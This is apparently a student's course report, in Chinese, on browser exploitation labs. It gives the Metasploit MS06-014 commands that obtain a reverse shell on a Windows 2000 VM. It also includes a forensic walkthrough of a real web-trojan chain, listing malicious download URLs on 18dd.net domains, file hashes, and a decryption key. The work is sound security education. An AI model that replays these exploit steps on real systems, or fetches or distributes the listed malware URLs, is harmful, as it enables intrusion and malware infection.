20251911 2025-2026-2 《网络攻防实践》实践十一报告
1. 实践内容
本次实践围绕 Web 浏览器渗透攻击展开,分为三个任务:
(1)Web 浏览器渗透攻击
使用 Metasploit 框架中的 MS06-014 漏洞模块,对 Windows 靶机进行远程渗透。目标是生成恶意网页脚本,诱导靶机访问后获取远程 Shell。
(2)取证分析实践——网页木马攻击场景分析
分析一个真实的网页挂马样本链。从 start.html 出发,逐层解密和下载相关脚本及二进制文件,通过 MD5 散列值在指定服务器获取对应文件,区分脚本与可执行程序,并对关键恶意代码进行反汇编或动态调试,还原攻击链路。
(3)攻防对抗实践——Web 浏览器渗透攻击攻防
攻击方使用 Metasploit 构造至少两个不同浏览器漏洞的渗透代码,经混淆后生成一个 URL,通过模拟钓鱼邮件发送。防守方需提取、解混淆并分析渗透代码,识别所针对的浏览器及漏洞编号。
2. 实践过程
2.1 Web 浏览器渗透攻击
实验环境
- 攻击机:Kali Linux(IP:192.168.200.64,主机名之前实验已设置为
zhangyuehui) - 靶机:Windows 2000(IP:192.168.200.61)
实验过程
-
启动 Metasploit
在 Kali 终端中执行:msfconsole![image]()
进入 msf6 交互界面。
-
搜索并选用 MS06-014 模块
search MS06-014![image]()
找到模块
exploit/windows/browser/ms06_014_ie_createobject
![image]()
使用编号 0:
use 0![image]()
(这不代表错误,只是提醒当前尚未手动设置 payload,所以使用了默认值。)
3. 查看并选择 Payload
输入 show payloads 查看可用载荷。

选用反向 TCP Shell:
set payload generic/shell_reverse_tcp
-
配置参数
- 靶机 IP:
set RHOST 192.168.200.61 - 攻击机 IP:
set LHOST 192.168.200.64 - 可选设置服务器端口:
set SRVPORT 8080 - 设置恶意 URL 路径:
set URIPATH /
![image]()
- 靶机 IP:
-
启动攻击
exploit![image]()
成功执行后,Metasploit 输出一个恶意链接:
http://192.168.200.64:8080/ -
靶机访问
在 Windows 2000 中启动 IE 浏览器,输入上述 URL。
![image]()
靶机出现此页面
![image]()
攻击机控制台显示有连接尝试。 -
获取会话
输入sessions查看已建立的会话
![image]()
得到 ID 为 1。进入会话:
sessions -i 1![image]()
在远程 Shell 中执行
ipconfig
![image]()
成功返回靶机网络配置,攻击完成。
2.2 取证分析实践——网页木马攻击场景分析
分析过程
-
起始文件 start.html
用记事本打开start.html,查找new09.htm的引用。
![image]()
![image]()
发现两处引用,但无绝对路径,推断
new09.htm与start.html位于同一目录。打开new09.htm。 -
new09.htm 初步分析
该文件内容为经过加密的脚本。找到两个外部引用:
http://aa.18dd.net/aa/kl.htmhttp://js.users.51.la/1299644.js
分别计算其 MD5(32 位小写):
![image]()
![image]()
两个文件均为脚本文件。
-
解密 kl.htm
打开
7f60672dcd6b5e90b6772545ee219bd3
![image]()
发现密钥为
\x73\x63\x72\x69\x70\x74
![image]()
即字符串
script。使用工具解密
![image]()
得到一段 JavaScript 代码,内容为大量十六进制转义字符。
将其转换后得到如下核心逻辑:function init(){document.write();} window.onload = init; if(document.cookie.indexOf('OK')==-1){ // 尝试创建多个 ActiveXObject 对象 // 根据是否成功,动态加载不同的远程脚本:1.js, b.js, pps.js 或下载 bd.cab }该脚本通过检测不同 ActiveX 控件的存在性,实施分漏洞投递。
-
提取并分析后续文件
对脚本中出现的 URL 再次计算 MD5 并下载:
![image]()
![image]()
![image]()
![image]()
-
http://aa.18dd.net/aa/1.js→5d7e9058a857aa2abee820d5473c5fa4 -
http://aa.18dd.net/aa/b.js→3870c28cc279d457746b3796a262f166 -
http://aa.18dd.net/aa/pps.js→5f0b8bf0385314dbe0e5ec95e6abedc2 -
http://down.18dd.net/bb/bd.cab→1c1d7b3539a617517c49eee4120783b2
![image]()
![image]()
![image]()
![image]()
-
1.js
![image]()
包含一个下载执行逻辑,从http://down.18dd.net/bb/014.exe下载可执行文件,保存为..\ntuser.com并静默运行。该文件即为恶意程序本体。 -
b.js:经过 Packed 加密,解混淆后得到 Shellcode。
![image]()
Shellcode 中解码出 URLhttp://down.18dd.net/bb/bf.exe,下载并执行。 -
pps.js:
![image]()
利用
POWERPLAYER.PowerPlayerCtrl.1漏洞,下载http://down.18dd.net/bb/pps.exe。- bd.cab:MD5 值为 1c1d7b3539a617517c49eee4120783b2,解压后得到
bd.exe,为百度工具条相关的恶意下载器。
-
-
获取最终恶意程序
对上述出现的可执行文件 URL 计算 MD5:
![image]()
http://down.18dd.net/bb/014.exe→ca4e4a1730b0f69a9b94393d9443b979
![image]()
http://down.18dd.net/bb/bf.exe→268cbd59fbed235f6cf6b41b92b03f8e
![image]()
http://down.18dd.net/bb/pps.exe→ff59b3b8961f502289c1b4df8c37e2a4
![image]()
http://down.18dd.net/bb/bd.exe→994f7810e6a461292cc337bf73981e2c
使用 IDA 打开pps.exe
![image]()
发现其会下载大量其他病毒文件,形成典型的“木马下载器”行为。
2.3 攻防对抗实践——Web浏览器渗透攻击攻防
本环节模拟攻击者构造挂马链接并发送给目标,防守方需从中提取并识别漏洞类型。
攻击阶段
在 Kali 攻击机中启动 Metasploit 框架,选用之前实验相同的 MS06-014 漏洞模块,配置反向 TCP 载荷,并设置监听地址为攻击机 IP。执行 exploit 命令。

控制台返回一个恶意 URLhttp://192.168.200.64:8080/。
靶机访问与初步分析
在 Windows 2k 靶机中启动 IE 浏览器,输入上述地址。

页面加载后,右键选择“查看源文件”,得到原始的 HTML 代码。

观察发现代码中包含大量无意义的空白字符、换行和制表符,这是攻击者为了干扰分析而加入的混淆手段。
去混淆处理
将源文件复制到在线 HTML 压缩工具并压缩。


压缩后的代码结构清晰可见,其中包含一个指向可执行文件的引用,文件名称为 AxErlBraxzPljhAHyfzSo.exe。
恶意进程验证
在靶机中按下 Ctrl+Alt+Delete 打开任务管理器,切换到“进程”选项卡

仔细查找后确实发现 AxErlBraxzPljhAHyfzSo.exe 正在运行。这表明恶意程序已被成功下载并执行。
漏洞识别
把html源码交给AI,经过AI分析,在解混淆后的脚本中出现的

BD96C556-65A3-11D0-983A-00C04FC29E36 是关键的 CLSID。

通过查阅漏洞库可知,该 CLSID 对应微软安全公告 MS06-014。攻击者正是利用该漏洞在靶机上静默下载并启动了恶意程序。
3. 学习中遇到的问题及解决
- 问题:在取证分析时,下载的
kl.htm文件解密后出现乱码,多次尝试也不对。
解决方案:确认解密工具使用的算法正确并且把密钥设置为script。使用在线 XXTEA 解密工具,并选择输出为纯文本,最后成功得到可读的 JavaScript。
4. 实践总结
做完这次实验,我对浏览器攻击的原理和步骤有了更清楚的认识,使用 Metasploit 做渗透攻击也练得更熟了。另外还掌握了网页木马攻击的取证分析思路。我觉得这次实验比较复杂,查了很多网上的资料并且结合AI才完成,不过收获确实很大。



































浙公网安备 33010602011771号